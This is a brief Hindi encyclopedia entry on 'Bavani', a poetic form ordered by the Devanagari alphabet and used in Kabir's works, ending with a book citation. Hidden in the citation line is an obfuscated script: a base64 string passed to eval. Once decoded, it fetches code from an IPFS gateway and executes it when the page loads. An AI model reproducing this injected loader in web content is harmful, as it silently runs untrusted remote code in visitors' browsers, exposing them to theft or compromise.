बावनी (रमैनी)

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Disamb2.jpg बावनी एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- बावनी (बहुविकल्पी)

बावनी की रचना देवनागरी वर्णमाला के अक्षरों के क्रम में की जाती है। कबीरदास ने स्वरों को और व्यंजनों में त्र, स को छोड़कर द्धिपदियाँ रची हैं। बावनी का आरम्भ दोहे से और अन्त चौपाइयों से होता है। इसका प्रयोग कबीरदास की रचनाओं में मिलता है।[1]


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टीका टिप्पणी और संदर्भ

  1. शर्मा, रामकिशोर कबीर ग्रन्थावली (हिंदी), 100।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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